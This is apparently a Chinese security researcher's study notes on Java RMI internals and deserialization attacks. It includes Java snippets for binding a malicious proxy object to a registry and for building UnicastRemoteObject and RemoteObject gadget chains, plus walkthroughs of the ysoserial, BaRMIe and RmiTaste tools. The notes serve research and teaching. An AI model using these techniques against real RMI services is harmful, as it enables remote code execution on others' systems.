RMI浅析

文章发布时间:

最后更新时间:

RMI Introduction

RMI (Remote Method Invocation) 远程方法调用,顾名思义,是一种调用远程位置的对象来执行方法的思想。实现思想就是让我们获取远程主机上对象的引用,我们调用这个引用对象,但实际方法的执行在远程位置上。

为了屏蔽网络通信的复杂性,RMI 引入了两个概念,分别是 Stubs(客户端存根) 以及 Skeletons(服务端骨架),当客户端(Client)试图调用一个在远端的 Object 时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为 Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是 Skeleton,它从 Stub 中接收远程方法调用并传递给真实的目标类。Stubs 以及 Skeletons 的调用对于 RMI 服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过 Stub 和 Skeleton 来实现的。

  • 调用时序图如下

image-20230112224458857

  • RMI接口的要求:
  1. 定义一个能够远程调用的接口,该接口需要继承java.rmi.Remote
  2. 用来远程调用的对象作为这个接口的实例,也将实现这个接口
  3. 这个接口中的所有方法都必须声明抛出 java.rmi.RemoteException 异常
  • RMI接口实现的要求:
  1. 继承java.rmi.server.UnicastRemoteObject

    RMI 会自动将这个类 export 给远程想要调用它的 Client 端,同时还提供了一些基础的 equals/hashcode/toString 方法。这里必须为这个实现类提供一个构造函数并且抛出 RemoteException。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {

    protected RemoteObject() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
    return "Hello My Friend";
    }

    @Override
    public String sayHello(Object name) throws RemoteException {
    return name.getClass().getName();
    }

    @Override
    public String sayGoodbye() throws RemoteException {
    return "Bye";
    }
    }
  2. 不继承1中的类的话,需要主动的使用该类的静态方法exportObject,来手动导出export对象

  • Registry 实现方式有两种

    • java.rmi.Naming

      提供了在远程对象注册表(Registry)中存储和获取远程对象引用的方法,有一个URL格式的参数需要说明:格式如//host:port/name

      • host 表示注册表所在的主机
      • port 表示注册表接受调用的端口号,默认为 1099
      • name 表示一个注册 Remote Object 的引用的名称,不能是注册表中的一些关键字

      实际上它是对接口java.rmi.registry.Registry的封装,该类主要是对注册表进行操作,本质调用的是LocateRegistry.getRegistry 方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的

    • java.rmi.registry.Registry接口

      其存在两个实现类RegistryImplRegistryImpl_Stub

  • demo

    注册中心

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public class Registry {
    public static void main(String[] args) {
    try {
    LocateRegistry.createRegistry(1099);
    System.out.println("Server Start");
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    }

    远程调用接口

    1
    2
    3
    4
    5
    6
    7
    public interface RemoteInterface extends Remote {
    public String sayHello() throws RemoteException;

    public String sayHello(Object name) throws RemoteException;

    public String sayGoodbye() throws RemoteException;
    }

    远程调用接口实现

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
    public RemoteObject() throws RemoteException {
    }

    @Override
    public String sayHello() throws RemoteException {
    return "Hello My Friend";
    }

    @Override
    public String sayHello(Object name) throws RemoteException {
    return name.getClass().getName();
    }

    @Override
    public String sayGoodbye() throws RemoteException {
    return "Bye";
    }
    }

    服务端

    1
    2
    3
    4
    5
    6
    7
    8
    public class RemoteServer {

    public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {
    RemoteInterface remoteObject = new RemoteObject();

    Naming.bind("rmi://localhost:1099/Hello", remoteObject);
    }
    }

    客户端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);
    // Returns an array of the names bound in this registry
    System.out.println(Arrays.toString(registry.list()));

    RemoteInterface stub = (RemoteInterface) registry.lookup("Hello");
    System.out.println(stub.sayHello());
    System.out.println(stub.sayGoodbye());
    }
    }

    image-20230112232907711

  • 特性说明

    1. 动态类加载机制:这里主要是调用方法的参数在服务端不存在的情况,而其又是一个可序列化对象。默认会抛出ClassNotFound异常,但是RMI添加了支持,需要设置一个java.rmi.server.codebase,则会尝试从其中的地址获取.class并反序列化

      image-20230112233551574

      设置java.rmi.server.codebase可通过System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/"); 进行设置,或使用启动参数 -Djava.rmi.server.codebase="http://127.0.0.1:9999/" 进行指定。

      同时,还需要设置安全策略。通过安全管理器设置了安全管理之后,RMI才允许动态加载任何类

      1
      2
      3
      if (System.getSecurityManager() == null) {
      System.setSecurityManager(new RMISecurityManager());
      }

      管理器应与管理策略相辅相成,所以我们还需要提供一个策略文件,里面配置允许那些主机进行哪些操作,这里为了方便测试,直接设置全部权限:

      1
      2
      3
      grant {
      permission java.security.AllPermission;
      };

      同样可以使用 -Djava.security.policy=rmi.policySystem.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("rmi.policy").toString()); 来进行设置。

      image-20230112234721536

  • 源码分析

    • 服务注册

      1. 远程对象创建

        image-20230113000443720

        细节:

        RemoteObjectInvocationHandler 动态代理,继承了RemoteObject并实现InvocationHandler
        下面是 invoke 方法的实现:如果方法是属于Object的话则调用invokeObjectMethod(),其他的则调用invokeRemoteMethod()

        image-20230113000937499

        invokeRemoteMethod()实际是委托 RemoteRef 的子类 UnicastRefinvoke 方法执行调用

        image-20230113001052084

        跟进可以看到,其执行流程是通过LiveRef属性来建立连接,执行调用,获取结果并进行反序列化

        image-20230113001431328

        具体反序列化方法位于unmarshalValue()

        image-20230113001635839

      2. 注册中心创建

        入口处位于LocateRegistry.createRegistry(1099); 其首先会创建一个RegistryImpl对象,端口指定

        image-20230113113005890

        其中创建了LiveRef()对象以及UnicastServerRef()对象,并通过调用setup进行配置

        image-20230113113120991

        setup 方法调用了UnicastServerRef类的 exportObject 方法来export对象,这次导出的为RegistryImpl

        image-20230113113209056

        跟进依旧会通过Util.createProxy()来创建动态代理,在远程对象注册时其创建的是RemoteObjectInvocationHandler()这里区别的一点是会有stubClassExists()的判断

        image-20230113113359514

        判断基于本地是否存在_Stub的类,这里是因为存在RegistryImpl_Stub类的,因此会返回 true

        image-20230113115543235

        那么在createStub()中就会通过反射创建RegistryImpl_Stub类实例。该类继承了RemoteStub,且是Registry的实现类,我们查看bind方法可以看到是通过序列化的方式来实现的

        image-20230113113657418

        ​ 创建完代理Stub后,还会调用setSkeleton()

        image-20230113113747428

        其中会调用Util.createSkeleton()来创建Skeleton对象,本质也是反射创建实例化 RegistryImpl_Skel 这个类,之后设置到UnicastServerRefskel属性上

        image-20230113113850284

        查看 RegistryImpl_Skel 这个类可以看到,其通过dispatch()方法来分发操作

        image-20230113114022649

      3. 服务注册

        服务注册就是bind的过程。这里有两种情况:

        当服务端和注册中心在同一端时,可以直接通过 Registry 的 bind 方法进行绑定,具体调用的是RegistryImpl.bind(),其维护了一个Hashtable来进行名字和远程对象的映射

        image-20230113120855742

        当服务端和注册中心不在同一端时,Naming绑定和LocateRegistry绑定的方式都是通过调用了 LocateRegistry.getRegistry() 方法来创建 Registry

    • 服务发现

      这里首先说一下 LocateRegistry.getRegistry() 创建 Registry 的流程:

      • 首先在本地创建了一个包含了具体通信地址、端口的 RegistryImpl_Stub 对象
        这里和上述注册中心注册时逻辑差不多
      • 通过调用这个本地的 RegistryImpl_Stub 对象的 bind/list… 等方法,来与 Registry 端进行通信
      • 而 RegistryImpl_Stub 的每个方法,都实际上调用了 RemoteRef 的 invoke 方法,进行了一次远程调用连接
      • 这个过程使用 java 原生序列化及反序列化来实现

      RegistryImpl_Stub对象的bind方法中我们可以看到,其先建立连接,然后序列化数据并写入流,然后执行this.ref.invoke()

      image-20230113122156672

      实际调用的是UnicastRef#invoke()

      image-20230113122811954

      这里调试的时候发现marshalCustomCallData是空方法,也就是不应该调用这个方法。su18师傅的解释是:

      使用 sun.rmi.server.MarshalOutputStream 封装后会使用动态代理类来替换原始类

      原来是在writeObject()的过程中替换的,相当于包装了输出流

      image-20230113124341393

      动态代理类替换原始类

      image-20230113124525969

      根据 Registry 的 host/port 等信息创建本地 RegistryImpl_Stub,然后调用其 bind 方法向 Registry 端使用 writeObject 写入 name 和生成的动态代理类

      注册中心的工作:

      sun.rmi.transport.tcp.TCPTransport#handleMessages 会处理请求,其会调用serviceCall()

      image-20230113125154538

      跟进后首先会从 ObjectTable 中获取 Target 对象,并获取其中封装的UnicastServerRef以及RegistryImpl对象,接着调用 UnicastServerRef 的 dispatch方法

      image-20230113125955382

      dispatch方法在判断当前对象是否存在skel属性后,选择调用oldDispatch方法

      image-20230113130307807

      里面可以看到调用skel属性也就是RegistryImpl_Skel类的 dispatch 方法

      image-20230113130441148

      该方法会根据前面流中获取到的不同操作类型分发给不同的方法处理,这里在注册绑定时会选择0,也就是会从流中继续读取内容,反序列化并调用 RegistryImpl 的 bind 操作进行绑定

      image-20230113214628443

    • 服务调用

      客户端同服务端一样也是先本地创建RegistryImpl_Stub对象,接下来看 lookup 操作。就是将字符串序列化写入流,再等待服务端结果并反序列化流

      image-20230113231332046

      对于 Registry 端,调用RegistryImpl_Skel 的 dispatch 方法,这里将分发到2中,先反序列化输入流,调用RegistryImpl的 lookup 方法并将结果序列化写回

      image-20230113231902550

      Client端拿到的结果在前面远程对象注册的流程中我们已经知道:

      Client 拿到 Registry 端返回的动态代理对象并且反序列化后,对其进行调用,这看起来是本地进行调用,但实际上是动态代理的 RemoteObjectInvocationHandler 委托 RemoteRef 的 invoke 方法进行远程通信,由于这个动态代理类中保存了真正 Server 端对此项服务监听的端口,因此 Client 端直接与 Server 端进行通信

      那么这时,服务端由 UnicastServerRef 的 dispatch 方法来处理客户端的请求。其会先接受客户端传来的目标调用方法的hash,与this.hashToMethod_Map中的元素进行匹配,如果有则进一步反序列化参数并反射调用目标方法

      image-20230113235745602

      执行完后将结果序列化传回给客户端

    • 总结

      这里贴一下su18师傅NB的总结

      image-20230114000104486

      RMI 底层通讯采用了Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:

      1. RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
      2. Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
      3. RemoteCall 序列化 RMI 服务名称、Remote 对象。
      4. RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
      5. RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
      6. Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
      7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
      8. RMI 客户端反序列化服务端结果,获取远程对象的引用。
      9. RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
      10. RMI 客户端反序列化 RMI 远程方法调用结果。
  • 攻击 RMI

    • 恶意服务参数

      客户端在获取到服务端创建的 Stub 后,如果要调用这个 Stub 并传递参数, Stub 会序列化这个参数并传递给 Server 端,后者会反序列化该参数并调用本地的指定方法。如果该参数是 Object 类型的话,将触发反序列化漏洞

      这里以 CC6 为例:

      image-20230114111839699

      下面讨论当服务端参数和客户端参数不一致的情况

      直接运行将会报错,提到调用方法未识别到

      image-20230114113045082

      究其原因是因为在服务端由 UnicastServerRef 的 dispatch 方法来处理客户端的请求时,对于调用方法的hash并未在hashToMethod_Map找到

      image-20230114113404902

      那么我们需要一种方法能做到,既传递正确方法的hash值,同时传递的参数还是能导致恶意反序列化的类,su18师傅总结了一下4种方法:

      这里首先以 debugger 为例,我们已经知道在远程调用时实际发生在 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法中进行委派的,我们可以在这里下断点并动态更换 method 的参数类型

      image-20230114153851401

      更换之后再继续执行即可触发恶意反序列化

      image-20230114153919464

      再看反序列化逻辑,可以得出结论:

      Server 端的调用方法存在非基础类型的参数时,就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞

      image-20230114154420167

    • 动态类加载

      Server端限制条件:

      • 加载并配置 SecurityManager
      • 设置java.rmi.server.useCodebaseOnly=false

      Server 端调用 UnicastServerRef 的 dispatch 方法处理客户端请求,调用 unmarshalParameters 方法反序列化客户端传来的参数。

      一直会调用到unmarshalValue方法进行原生readObject反序列化,其实际由RMI封装类 MarshalInputStream 来实现,先反序列化读取客户端传来的codebase设置的地址,并判断是否设置了 useCodebaseOnly 选项,调用 RMIClassLoader 的 loadClass 方法加载类

      image-20230114160522243

      这部分流程还不太会调试,先跟着su18师傅的来。之后实际委派的是 LoaderHandler 类,进一步会调用到 loadClassForName 方法

      通过 Class.forName() 传入自定义类加载器 LoaderHandler$Loader 来从远程地址加载类

      image-20230114161500808

      关于 LoaderHandler$Loader 内部类,它是URLClassLoader的子类,最终 loadClass 时还是调用的父类的方法

      image-20230114161634461

      java.rmi.server.codebase只要一端配置即可触发远程类加载,因此利用方法如下:

      因此 Client 端可以通过配置此项属性,并向 Server 端传递不存在的类,使 Server 端试图从 java.rmi.server.codebase 地址中远程加载恶意类而触发攻击

    • 替身攻击

      也是一种绕过调用方法参数类型限制的思路,可以手动添加目标参数类型为指定恶意反序列化的父类,来绕过RMI的校验机制,不过这需要对类进行重写

  • 攻击 Registry 端

    对于 Server 端在向注册中心绑定远程对象时,注册中心一方正常的操作时反序列化这个类并最终存在 RegistryImpl 的 bindings 中。那么如果这时传递一个恶意的序列化对象,则会在反序列化时触发漏洞。

    这里需要注意的细节是对于待 bind 的远程对象的要求,需要继承 Remote 接口,可以采用动态代理的方式

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    public static void main(String[] args) throws Exception {
    Registry registry = LocateRegistry.getRegistry(1099);

    // 使用 AnnotationInvocationHandler 动态代理 Remote
    Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor = c.getDeclaredConstructors()[0];
    constructor.setAccessible(true);

    HashMap<String, Object> map = new HashMap<>();
    map.put("racerz", getPayload());

    InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

    Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

    registry.bind("racerz", remote);

    }
  • 攻击 Client 端

    条件:攻击目标为 Client 端,Registry地址可控,或 Registry/Server 端可控

    可执行的攻击发生的位置:

    • 从注册中心获取调用服务的 Stub 并反序列化
    • 调用服务后获取远程对象执行的结果并反序列化

    攻击思路:

    • 恶意 Server Stub

      和前面攻击注册中心的思路一致,客户端 lookup 后拿到服务端注册在 Registry 的恶意代理对象并反序列化触发漏洞

    • 恶意 Server 端返回值

      思路类似攻击服务端的恶意参数,这里的恶意类放在调用目标方法的返回值处

    • 动态类加载

      同攻击 Server 端的动态类加载,Server 端返回给 Client 端不存在的类,要求 Client 端去 codebase 地址远程加载恶意类触发漏洞

  • 攻击 DGC

    DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。

    RMI 定义了 java.rmi.dgc.DGC接口,并提供了两个方法:

    • dirty: 客户端想要使用服务端上的远程引用或者使用到期还想继续用时调用
    • clean: 客户端不再使用时调用

    image-20230114172830589

    java.rmi.dgc.DGC接口有sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub两种实现,同时还定义了 sun.rmi.transport.DGCImpl_Skel。这与 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel的命名以及之间的处理逻辑相对应。

    通信模式如下:

    Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 DGCImpl_Skel 来处理。

    DGCImpl_Skel 的 dispatch处理流程如下,也是通过原生反序列化的方式来处理对象

    image-20230114173554945

    那么如何利用攻击呢?

    根据 Client 端写入的标记来区分是是由 RegistryImpl_Skel 还是 DGCImpl_Skel 来处理,因此我们可以使用 DGC 来攻击任意一个由 JRMP 协议监听的端口,包括 Registry 端监听端口、RegistryImpl_Stub 监听端口、DGCImpl_Stub 监听端口(后两者监听端口是随机的)

    详情参见 yso 的 ysoserial.exploit.JRMPClient

  • 反序列化 Gadgets

    1. UnicastRemoteObject

      这个类是Remote接口实现类需要继承的父类,需要用到它的 exportObject 方法,看下它的反序列化流程:

      跟进 reexport 方法

      image-20230114174513832

      紧接着调用 exportObject 方法

      image-20230114174621295

      那么原理与远程对象创建时一致,监听JRMP协议端口,并对请求解析并反序列化

      可以配合 DGC 的处理逻辑来进行攻击

      这部分对应 yso 的 ysoserial.payloads.JRMPListener, 可以结合 ysoserial.exploit.JRMPListener来使用

      ysoserial 是使用了 UnicastRemoteObject 的子类 ActivationGroupImpl 作为实例,我们是直接使用 unsafe 直接创建了 UnicastRemoteObject 对象,没有使用子类,大同小异

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      public class UnicastRemoteObject1 {

      public static void main(String[] args) throws Exception {
      int port = 12233;

      // 使用
      Object uro = createInstanceUnsafely(UnicastRemoteObject.class);
      Field field = UnicastRemoteObject.class.getDeclaredField("port");
      field.setAccessible(true);
      field.set(uro, port);

      // 写入父类 RemoteObject 的 ref 属性防止 writeObject 时报错
      writeObjectToFile(uro);
      readFileObject();

      // 保持进程
      Thread.sleep(100000);
      }

      public static Object createInstanceUnsafely(Class payloadClass) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
      Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
      constructor.setAccessible(true);
      Unsafe unsafe = constructor.newInstance();

      return unsafe.allocateInstance(payloadClass);
      }

      public static void readFileObject() throws Exception {
      FileInputStream fio = new FileInputStream("test.bin");
      ObjectInputStream inputStream = new ObjectInputStream(fio);

      inputStream.readObject();
      }

      public static void writeObjectToFile(Object obj) throws Exception {
      FileOutputStream fio = new FileOutputStream("test.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fio);

      oos.writeObject(obj);
      oos.close();
      fio.close();
      }
      }

      调用链如下:

      1
      2
      3
      4
      5
      6
      7
      8
      UnicastRemoteObject.readObject()
      UnicastRemoteObject.reexport()
      UnicastRemoteObject.exportObject()
      UnicastServerRef.exportObject()
      LiveRef.exportObject()
      TCPEndpoint.exportObject()
      TCPTransport.exportObject()
      TCPTransport.listen()
    2. UnicastRef

      该类实现了 Externalizable 接口,因此反序列化时会调用 readExternal()方法

      其中调用了LiveRef.read()方法来还原ref属性

      image-20230114182319235

      跟进,其会先创建一个LiveRef实例,并调用DGCClient.registerRefs()方法在其环境中进行注册

      image-20230114182446516

      进一步会调用DGCClient$EndpointEntry#registerRefs() 方法

      image-20230114182604521

      里面继续调用makeDirtyCall()方法

      image-20230114182719857

      sinks点落在 DGCImpl_Stub 的 dirty 方法,即后面也可以利用攻击DGC的思路

      image-20230114182910929

      恶意服务端可以结合 ysoserial.exploit.JRMPListener 来使用

    3. RemoteObject

      该类几乎所有 RMI 远程调用类的父类,其 readObject 方法可以看到会先反序列化成员属性 ref ,并进一步调用该成员的 readExternal 方法,正好可以衔接前面的 UnicastRef 的Gadget

      image-20230114190834880

      这里利用的时候任取 RemoteObject 的一个子类即可触发,以 RMIServerImpl_Stub 为例

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      public class RemoteObject1 {

      public static void main(String[] args) throws Exception {

      String host = "127.0.0.1";
      int port = 12233;

      ObjID id = new ObjID(new Random().nextInt());
      TCPEndpoint te = new TCPEndpoint(host, port);
      UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));

      RMIServerImpl_Stub stub = new RMIServerImpl_Stub(ref);

      // ysoserial 中使用 RemoteObjectInvocationHandler
      // RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
      // Registry proxy = (Registry) Proxy.newProxyInstance(RemoteObject1.class.getClassLoader(), new Class[]{Registry.class}, obj);

      writeObjectToFile(stub);
      readFileObject();
      }

      public static void readFileObject() throws Exception {
      FileInputStream fio = new FileInputStream("test.bin");
      ObjectInputStream inputStream = new ObjectInputStream(fio);

      inputStream.readObject();
      }

      public static void writeObjectToFile(Object obj) throws Exception {
      FileOutputStream fio = new FileOutputStream("test.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fio);

      oos.writeObject(obj);
      oos.close();
      fio.close();
      }
      }

      这部分对应的就是 ysoserial.payloads.JRMPClient 这个 gadget,恶意服务端可以结合 ysoserial.exploit.JRMPListener 来使用。

  • 高级篇

    这里有一些更新的攻击思路 https://xz.aliyun.com/t/7932

    JEP 290

    在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新

    提供的几个机制:

    • 提供了一种灵活的机制,将可反序列化的类从任意类限制为上下文相关的类(黑白名单);
    • 限制反序列化的调用深度和复杂度;
    • 为 RMI export 的对象设置了验证机制;
    • 提供一个全局过滤器,可以在 properties 或配置文件中进行配置。

    关于 JEP290 的研究:

    这里摘录一些重点:

    JEP 290 涉及的核心类有: ObjectInputStream 类,ObjectInputFilter 接口,Config 静态类以及 Global 静态类。其中 Config 类是 ObjectInputFilter接口的内部类,Global 类又是Config类的内部类。

    • ObjectInputStream 总结

      到这里可以知道,serialFilter 属性就可以认为是 JEP 290 中的”过滤器”。过滤的具体逻辑写到 serialFiltercheckInput 方法中,配置过滤器其实就是设置 ObjectInputStream 对象的 serialFilter属性。并且在 ObjectInputStream 构造函数中会赋值 serialFilterObjectInputFilter#Config 静态类的 serialFilter 静态字段

    • Config 静态类总结

      Config 静态类在初始化的时候,会将Config.serialFilter 赋值为一个Global对象,这个Global 对象的filters字段值是jdk.serailFilter属性对应的 Function 列表。

      所以设置了 Config.serialFilter 这个静态字段,就相当于设置了 ObjectInputStream 类全局过滤器

      比如可以通过配置 JVM 的 jdk.serialFilter 或者 %JAVA_HOME%\conf\security\java.security 文件的 jdk.serialFilter 字段值,来设置 Config.serialFilter ,也就是设置了全局过滤。

    • Global类的总结

      Global 实现了ObjectInputFilter接口,所以是可以直接赋值到 ObjectInputStream.serialFilter 上。

      Global#filters 字段是一个函数列表。

      Global 类中的 chekInput 方法会遍历 Global#filters 的函数,传入需要检查的 FilterValues进行检查(FilterValues 中包含了要检查的 class, arrayLength,以及 depth 等)。

    • 过滤器

      设置过滤器本质就是设置 ObjectInputStreamserialFilter 字段值,设置过滤器可以分为设置全局过滤器和设置局部过滤器:

      1.设置全局过滤器是指,通过修改 Config.serialFilter这个静态字段的值来达到设置所有 ObjectInputStream对象的 serialFilter值 。具体原因是因为 ObjectInputStream 的构造函数会读取Config.serialFilter的值赋值到自己的serialFilter字段上,所有就会导致所有 new 出来的 ObjectInputStream对象的 serailFilter 都为Config.serialFilter的值。

      2.设置局部过滤器是指,在 new ObjectInputStream 的之后,再修改单个 ObjectInputStream 对象的 serialFilter 字段值。

  • 扩展

    开源针对攻击 RMI 的开源项目

    • BaRMIe

      https://github.com/NickstaDB/BaRMIe

      模块展示:

      enum 功能,由 nb.barmie.modes.enumeration.EnumerationTask#run 方法实现,核心方法在 nb.barmie.modes.enumeration.RMIEnumerator#enumerateEndpoint

      image-20230114225921536

      也是先获取注册中心,通过探测不存在的服务名解绑是否会报错NotBoundException来判断是否可对目标注册中心进行操作

      image-20230114230143830

      之后创建了一个TCP代理,来获取与注册中心之间通信产生的数据报,并重新通过代理与注册中心一端进行通信。

      BaRMIe 从代理中读取流数据并自行实现解析逻辑,从而避免攻击者端在反序列化时由于没有具体接口而导致 “Class.forName” 报错。

      image-20230114231014384

      之后先通过list()获取注册中心的所有服务名,利用 lookup 方法去获取对应的服务对象动态代理

      这中间产生的流量会被 RMIReturnDataCapturingProxy 这个代理类捕获到,然后通过 RMIReplyDataParser 的 extractObjectDetails 方法解析远程服务对象的相关信息。

      image-20230114232247155

      枚举完成之后该模块会整理并打印获取到的远程服务对象的信息,以及是否能对此 Registry 进行 bind等一系列操作

      image-20230114232557064

      之后会调用 RMIAttackFactory.findAttacksForEndpoint()尝试遍历内置的RMI Attack来测试是否能匹配,判断方式利用函数 canAttackEndpoint()

      image-20230114233115299

      同时输出所有匹配到的攻击手段的详细信息

      image-20230114233205656

      看看内置的Attack 包括 Axiom 文件操作、SpringFramework 里的反序列化、JMX 反序列化、非法 bind 等

      image-20230114233313970

      进一步,如果可能存在反序列化攻击的话,就会继续查找所有的反序列化Gadget

      image-20230114233451514

      支持的反序列化 payload 如下

      image-20230114233544374

      attack 模块,由 nb.barmie.modes.attack.AttackMode#run 实现,还是先调用枚举模块测试,这里可以看到支持多个目标注册中心遍历测试

      image-20230114235206097

      接下来就是针对可攻击的目标进行攻击向量选择,呈现菜单的形式

      image-20230114235426374

      最终都会调用到 nb.barmie.modes.attack.RMIAttack 各个实现类的 executeAttack 方法

      image-20230114235627842

    • RmiTaste

      https://github.com/NickstaDB/BaRMIe

      在参考了 BaRMIe 之后编写的攻击工具,并且结合 ysoserial 生成利用 gadget。其实 BaRMIe 也是用的 ysoserial 的 payload,但是 RmiTaste 是直接调用

      最关键的 attack 逻辑在 m0.rmitaste.rmi.exploit.Attack#invokeMethodPayload 方法中

      image-20230115000426975

      这与 攻击 Server 端时下断点修改的思路是一样的

      上述攻击的缺陷:

      • 本章内容并未覆盖
      • 不支持 JEP 290 的 bypass
  • TO-DO

    1. 目前能绕 JEP 290 的 POC 貌似都需要反连,服务器不出网,能不能绕?
    2. JRMP 协议解析及实现。
    3. DGC 层。
    4. 攻击 Client 端实战 —— 反制红队 or 蜜罐。

    https://mp.weixin.qq.com/s/TbaRFaAQlT25ASmdTK_UOg

https://www.anquanke.com/post/id/200860

https://xz.aliyun.com/t/7932